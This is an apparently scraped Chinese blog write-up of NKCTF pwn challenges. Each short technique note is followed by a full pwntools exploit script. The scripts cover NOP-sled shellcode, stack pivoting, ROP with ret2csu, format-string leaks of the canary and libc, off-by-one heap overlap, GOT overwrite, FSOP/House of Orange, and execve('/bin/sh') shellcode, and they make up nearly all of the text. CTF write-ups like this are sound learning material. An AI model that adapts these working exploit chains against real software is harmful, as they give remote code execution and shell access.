NKCTF PWN wp

编程入门 行业动态 更新时间:2024-10-23 23:30:03

<a href=https://www.elefans.com/category/jswz/34/1693101.html style=NKCTF PWN wp"/>

NKCTF PWN wp

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • ezshellcode
  • a_story_of_a_pwner
  • ez_stack
  • baby_rop
  • baby_heap
  • only_read
  • ByteDance
  • 9961code


ezshellcode

填充nop抵消随机滑行到shellcode

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:gdbOpen = 1clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')p = process('./pwn')
else:gdbOpen = 0ip = 'node.yuzhian'port = 38867p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")debug("b *0x00000000004012F1")
shellcode = p8(0x90) * 104 + asm(shellcraft.sh()) 
p.sendafter("in 5 min!\n", shellcode)p.interactive()

a_story_of_a_pwner

栈迁移然后刚好够弹一个参数执行system

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:gdbOpen = 1clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF("./libc.so.6")p = process('./pwn')
else:gdbOpen = 0ip = 'node2.yuzhian'port = 33627 libc = ELF("./libc.so.6")p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")def choose(choice):p.sendlineafter(b"> \n", str(choice).encode('ascii'))pop_rdi = 0x0000000000401573
leave_ret = 0x000000000040139E
debug("b *0x000000000040139F")
choose(4)
p.recvuntil(b'0x')
leak = int(p.recv(12), 16) - 0x84420
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
choose(1)
p.sendafter(b'comment?\n', p64(binsh))
choose(2)
p.sendafter(b'corment?\n', p64(pop_rdi))
choose(3)
p.sendafter(b'corMenT?\n', p64(sys))
choose(4)
payload = b'a'*0xa + p64(0x0000000000405098) + p64(leave_ret)
p.sendafter(b'heart...\n', payload)p.interactive()

ez_stack

程序内直接就能找到syscall的gadget,使用其即可,注意的地方就是csu调用的时候是个指针,所以要把这个地址写入bss上才能正常使用

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./ez_stack')
DEBUG = 0
if DEBUG:gdbOpen = 1libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')#p = process('./ez_stack')
else:gdbOpen = 0ip = 'node2.yuzhian'port = 35211 p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")pop_rdi = 0x0000000000401283
pop_rsi = 0x0000000000401281 # pop rsi ; pop r15 ; ret
syscall = 0x000000000040114e
csu1 = 0x000000000040127A
csu2 = 0x0000000000401260debug("b *0x00000000004011F6")
payload = b'a'*0x18 + p64(pop_rsi) + p64(0x4040B0)*2 + p64(syscall)
payload += p64(csu1) + p64(0) + p64(1) + p64(0x4040B0) + p64(0)*2 + p64(0x4040B8) + p64(csu2)
p.sendafter("NKCTF!\n", payload)
sleep(1)payload = b'/bin/sh\x00' + p64(syscall) + b'a'*0x2b
p.send(payload)
p.interactive()

baby_rop

走两遍程序,两次利用格式化字符串,一次泄露canary,一次泄露libc地址,可以在栈上rop,因为填满buf正好使得rbp地方清一个0,刚好两个leave;ret栈迁移,在前面填满ret,不会有随机的问题。

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./nkctf_message_boards')
DEBUG = 0
if DEBUG:gdbOpen = 1clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')p = process('./nkctf_message_boards')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:gdbOpen = 0ip = 'node2.yuzhian'port = 34966p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")debug("b *0x0000000000401340")
ret = 0x000000000040101a
pop_rdi = 0x0000000000401413
main = 0x00000000004010F0
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']format = b"%41$p\n"
p.sendafter(b"name: ", format)
p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
log.info(hex(canary))
payload = p64(ret)*30 + p64(main) + p64(canary)
p.sendafter(b"the NKCTF: \n", payload)
format = b"%22$p\n"
p.sendafter(b"name: ", format)
p.recvuntil(b'0x')
leak = int(p.recv(12), 16) - 0x1ed6a0
sys = leak + libc.sym['system']
binsh = leak + next(libc.search(b'/bin/sh'))
log.info(hex(leak))
payload = p64(ret)*28 + p64(pop_rdi) + p64(binsh) + p64(sys) + p64(canary)
p.sendafter(b"the NKCTF: \n", payload)p.interactive()

baby_heap

offbyone制造出overlap即可,然后2.32指针进行异或,泄露处理一下即可。

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:gdbOpen = 1libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/libc-2.32.so")ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.32-0ubuntu3.2_amd64/ld-2.32.so")p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')#p = process('./')
else:gdbOpen = 0ip = 'node2.yuzhian'port = 30509 libc = ELF("./libc-2.32.so")p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")def choose(choice):p.sendlineafter(b"Your choice: ", str(choice).encode('ascii'))def add(idx, size):choose(1)p.recvuntil(b"index: ")p.sendline(str(idx).encode('ascii'))p.recvuntil(b"Size: ")p.sendline(str(size).encode('ascii'))def edit(idx, content):choose(3)p.recvuntil(b"index: ")p.sendline(str(idx).encode('ascii'))p.recvuntil(b"content: ")p.send(content)def show(idx):choose(4)p.recvuntil(b"index: ")p.sendline(str(idx).encode('ascii'))def free(idx):choose(2)p.recvuntil(b"index: ")p.sendline(str(idx).encode('ascii'))for i in range(8):add(i, 0x100)
add(8, 0x100)
for i in range(8):free(i)
for i in range(7):add(i, 0x100)
add(7, 0xf0)
edit(7, b'\n')
show(7)
leak = u64(p.recv(6).ljust(8, b'\x00')) - 0x1e3d0a
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
free_hook = leak + libc.sym['__free_hook']
log.info("free_hook==>0x%x" %free_hook)
show(6)
key = u64(p.recv(5).ljust(8, b'\x00'))
log.info("key==>0x%x" %key)
add(9, 0x78)
add(10, 0x60)
add(11, 0x60)
add(12, 0x60)
edit(9, b'a'*0x78 + b'\xe1')
free(12)
free(11)
free(10)
add(10, 0xd0)
edit(10, b'/bin/sh\x00' +  b'a'*0x60 + p64(0x71) + p64(free_hook^key) + b'\n')
add(13, 0x60)
add(14, 0x60)
edit(14, p64(sys) + b'\n')
free(10)
debug()
p.interactive()

only_read

修改read的got表到其一字节地址内的syscall,然后借此使用write出0x3b内容调整rax最终进行getshell,不过似乎可以直接继续调用read读0x3b,不过通了懒得调整了。

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:gdbOpen = 1clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')p = process('./pwn')
else:gdbOpen = 0ip = 'node2.yuzhian'port = 39981 p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")debug("b *0x00000000004013E1")
p.send(b'V2VsY29tZSB0byBOS0NURiE=')
sleep(1)
p.send(b'dGVsbCB5b3UgYSBzZWNyZXQ6')
sleep(1)
p.send(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45')
sleep(1)
p.send(b'Y2FuIHlvdSBmaW5kIG1lPw==')read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi = 0x0000000000401683
pop_rsi = 0x0000000000401681
csu1 = 0x000000000040167A
csu2 = 0x0000000000401660payload = b'a'*0x38 + p64(pop_rsi) + p64(0x404100)*2 + p64(read_plt)
payload += p64(pop_rsi) + p64(read_got)*2 + p64(read_plt)
payload += p64(csu1) + p64(0) + p64(1) + p64(1) + p64(read_got) + p64(0x3b) + p64(read_got) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(0x404100) + p64(0) + p64(0) + p64(read_got) + p64(csu2)
p.send(payload)
sleep(2)
p.sendline(b'/bin/sh\x00')
sleep(5)
p.send(p8(0xd0))p.interactive()

ByteDance

原题,大致思路是利用malloc_consolidate将fastbin整合进unsortedbin,这样才能利用offbynull,其中的trick在于scanf接收过长字符会临时申请一个largechunk。

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux', log_level = 'debug')
elf = ELF('./pwn02')
DEBUG = 0
if DEBUG:gdbOpen = 1libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so")p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')else:gdbOpen = 0ip = 'node2.yuzhian'port = 39089 libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")def choose(choice):p.sendlineafter(b"Choice:", str(choice).encode('ascii'))def add(size, content):choose(1)p.recvuntil(b"size:")p.sendline(str(size).encode('ascii'))p.recvuntil(b"content:")p.send(content)def show(idx):choose(2)p.recvuntil(b"index:")p.sendline(str(idx).encode('ascii'))def free(idx):choose(3)p.recvuntil(b"index: ")p.sendline(str(idx).encode('ascii'))#prepare 0x140 size unsorted bin
add(0x37,b'\x00'*0x37)#idx 0   0x40
add(0x37,b'\x01'*0x37)#idx 1   0x80
add(0x37,b'\x02'*0x37)#idx 2   0xc0
add(0x37,b'\x03'*0x37)#idx 3   0x100  
add(0x37,b'\x00'*0x37)#idx 4   0x140#prepare a chunk
add(0x37,b'\x00'*0x37)#idx 5 #prepare chunks between idx 5 and top_chunk.
add(0x37,b'\x06'*0x37)#idx 6
add(0x37,b'\x07'*0x37)#idx 7
add(0x37,b'\x06'*0x37)#idx 8
add(0x37,b'\x07'*0x37)#idx 9
add(0x37,b'\x06'*0x37)#idx 10#put chunk in fastbin 
for i in range(5):free(i)p.sendlineafter(b"Choice:", b'1'*0x500)
add(0x28,b'\x00'*0x28)#madd some chunk.
add(0x37,b'\x01'*0x37) #idx 1 0x030
add(0x17,b'\x02'*0x17) #idx 2 0x070
add(0x37,b'\x03'*0x37) #idx 3 0x090
add(0x37,b'\x00'*0x37) #idx 4 0x0d0
add(0x17,b'\x00'*0x17) #idx 11 0x110
#put the chunk in fastbin to make overlapped chunk.
free(5)
free(1)p.sendlineafter(b"Choice:", b'1'*0x500)
add(0x37,b'\x01'*0x37) #idx 1 0x030
show(2)
p.recvuntil(b'Content: ')
leak = u64(p.recv(6).ljust(8, b'\x00')) - 0x3c4b78
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
_IO_list_all = leak + libc.sym['_IO_list_all']
add(0x17,b'\x00'*0x17)#idx 5 0x070  = idx 2
add(0x17,b'\x08'*0x17)#idx 12 0x090
free(12)
free(5)
show(2)
p.recvuntil(b'Content: ')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x90
log.info("heap_base==>0x%x" %heap_base)free(4)
add(0x27,b'\x00'*0x18+p64(0x41)+b'\x00'*7) # must keep the fastbin size = 0x41
fake_file = b'/bin/sh\x00'+p64(0x61) # fake_file
fake_file += p64(0)+p64(_IO_list_all-0x10) #unsorted bin attack
fake_file += p64(0)+p64(1) #bypass check
fake_file = fake_file.ljust(0x38,b'\x00')
add(0x38,fake_file)
free(6)
payload_1 = b'\x00'*0x28 + p64(heap_base+0x1d0) # point to fake_vtable
payload_1 = payload_1.ljust(0x37,b'\x00')
add(0x37,payload_1)
free(7)
payload_2 = p64(0)*3 + p64(sys) # fake_vtable
payload_2 = payload_2.ljust(0x37,b'\x00')
add(0x37,payload_2)
debug()p.sendlineafter(b"Choice:", b'1')
p.sendlineafter(b"size:", str(0x20).encode('ascii'))p.interactive()

9961code

第一种解法,先调用mprotect使得段可写,再调用read写入shellcode进行getshell

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:gdbOpen = 1clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')p = process('./pwn')
else:gdbOpen = 0ip = 'node.yuzhian'port = 38867p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")debug("b *$rebase(0x000000000000139B)")
shellcode = '''shl edi,12mov ax,10call:xor dx,0x9966syscallxchg edi,esixor eax,eaxmov edi,eaxjmp call''' 
shellcode = asm(shellcode)
p.sendafter(b"shellcode!\n", shellcode)sleep(1)
shellcode = '''mov rsp,0x9961c00'''
shellcode = b'a'*0xe + asm(shellcode)
shellcode += b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' 
p.send(shellcode)
p.interactive()

第二种,差别在于怎么进行设置rdx这个寄存器,这边使用cdq这条指令进行清空rdx,然后再用dl进行赋值

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:gdbOpen = 1clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')p = process('./pwn')
else:gdbOpen = 0ip = 'node.yuzhian'port = 38867p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")debug("b *$rebase(0x000000000000139B)")
shellcode = '''cdqmov edi, r15dmov esi, edimov ax, 0xamov dl, 0x7syscallxor eax, eaxxor edi, edimov edx, esisyscall''' 
shellcode = asm(shellcode)
print(len(shellcode))
p.sendafter(b"shellcode!\n", shellcode)sleep(1)
shellcode = '''mov rsp,0x9961c00'''
shellcode = b'a'*0x16 + asm(shellcode)
shellcode += b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' 
p.send(shellcode)
p.interactive()

第三种,利用xmm6中存放的是libc中的地址,进而泄露出libc地址,然而进行ROP

#!usr/bin/env python 
#coding=utf-8
from pwn import *
from ctypes import CDLL
context(arch = 'amd64',os = 'linux')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:gdbOpen = 1clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')p = process('./pwn')
else:gdbOpen = 0ip = 'node.yuzhian'port = 38867p = remote(ip, port)clibc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')def debug(info="b main"):if gdbOpen == 1:gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")debug("b *$rebase(0x000000000000139B)")
shellcode = '''movq rsp, xmm6and eax, 1and edi, eaxpush rsppop rsisyscallxor eax, eaxxor edi, edisyscallret''' 
shellcode = asm(shellcode)
print(len(shellcode))
p.sendafter(b"shellcode!\n", shellcode)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x23b190
log.info("libc_base==>0x%x" %leak)
sys = leak + libc.sym['system']
binsh = next(libc.search(b'/bin/sh')) + leak
pop_rdi = next(libc.search(asm('pop rdi\nret'))) + leak
sleep(1)
payload = p64(pop_rdi) + p64(binsh) + p64(sys)
p.send(payload)
p.interactive()

fs寄存器也是有数据的,但是这个的长度太长了。

更多推荐

NKCTF PWN wp

本文发布于:2024-02-17 06:52:38,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1693099.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:NKCTF   PWN   wp

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!